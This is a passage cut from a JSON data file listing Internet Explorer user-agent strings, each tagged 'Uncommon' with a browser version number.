MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; WebMoney Advisor)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; NP08; NP08; MAAU)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Trident\\/7.0; MATP; MATP; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident\\/5.0; msn OptimizedIE8;ENUS)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; yie8; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident\\/5.0; FunWebProducts)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Trident\\/7.0; NP07; NP07; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Trident\\/7.0; rv:11.0; b2w 0.1) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/7.0; rv:11.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.1; WebMoney Advisor)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; .NET4.0C; browseforchangetoolbar_browseforchange)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDS; .NET4.0C; yie9)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; chromeframe\\/23.0.1271.97)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; yie9)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; InfoPath.3; .NET4.0E; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; USPortal)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 10.0; WOW64; Trident\\/8.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident\\/7.0; .NET4.0E; .NET4.0C; InfoPath.3; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; f9J; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident\\/6.0; Touch; MASMJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; S.N.O.W.4)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; BTRS124423; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF; .NET CLR 1.1.4322)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; chromeframe\\/31.0.1650.57; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; WinNT-EVI 12.01.2010; MS-RTC LM 8; .NET CLR 2.0.50727; lib\\/5.0\\\\0195; Engine\\/4.00195; 89670803)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; BTRS124307; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; playbrytetoolbar_Playbryte)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; FunWebProducts; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; BRI\\/2; AskTbORJ\\/5.15.14.29495; yie8)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; MASMJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; Tablet PC 2.0; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; SynapseWorkstation.3.2.1)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; MAMIJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.2; .NET CLR 1.1.4322; yplus 4.4.02b)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Trident\\/7.0; .NET4.0E; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; MASBJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MCIT 1.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0E; .NET4.0C; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; SpamBlockerUtility 4.8.4; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; .NET CLR 2.0.50727; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GIL 3.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; GTB7.5; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; InfoPath.3; Tablet PC 2.0; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/6.0; Touch; .NET4.0E; .NET4.0C; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; MAARJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI\\/1; .NET4.0C; BOIE9;ENUSSEM)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0(compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:DOWNLOADED)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; CoxIE55)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; WebMoney Advisor)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crazy Browser 1.0.5)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; AskTbAVR-4\\/5.15.11.30498)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; MAFSJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; MAGWJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (MSIE 10.0; Windows NT 10.0; WOW64; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MS-RTC LM 8)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; Touch; TAJB; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Trident\\/7.0; Touch; MAARJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0(compatible; MSIE 10.0; Windows NT 6.2; Trident\\/6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI\\/1; .NET4.0C; BRI\\/2; .NET4.0E; EIE10;ENUSWOL)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident\\/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; CPNTDFJS; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; Trident\\/5.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; NP09; NP09; MAAU; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\\/4.0; MS-RTC LM 8)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; EIE10;ENUSWOL; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; MAFSJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; Comcast Install 1.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPNTDF; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; EIE10;FRFRMSN)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; EIE10;ENUSWOL)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MDDR; .NET4.0C; .NET4.0E; BRI\\/2; AskTbWCL2\\/5.15.1.22229; yie8)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDS; .NET4.0C; MS-RTC LM 8)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; EIE10;ENGBMSE; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident\\/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; BOIE9;ENUSMSNIP)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; InfoPath.3; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident\\/5.0; MAAU)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Trident\\/7.0; FunWebProducts; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.2)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; EIE11;ENUSWOL; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Win64; x64; Trident\\/5.0; BOIE9;ENUS)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; Touch; ASJB; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; Lumia 730 Dual SIM) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident\\/8.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\\/4.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; 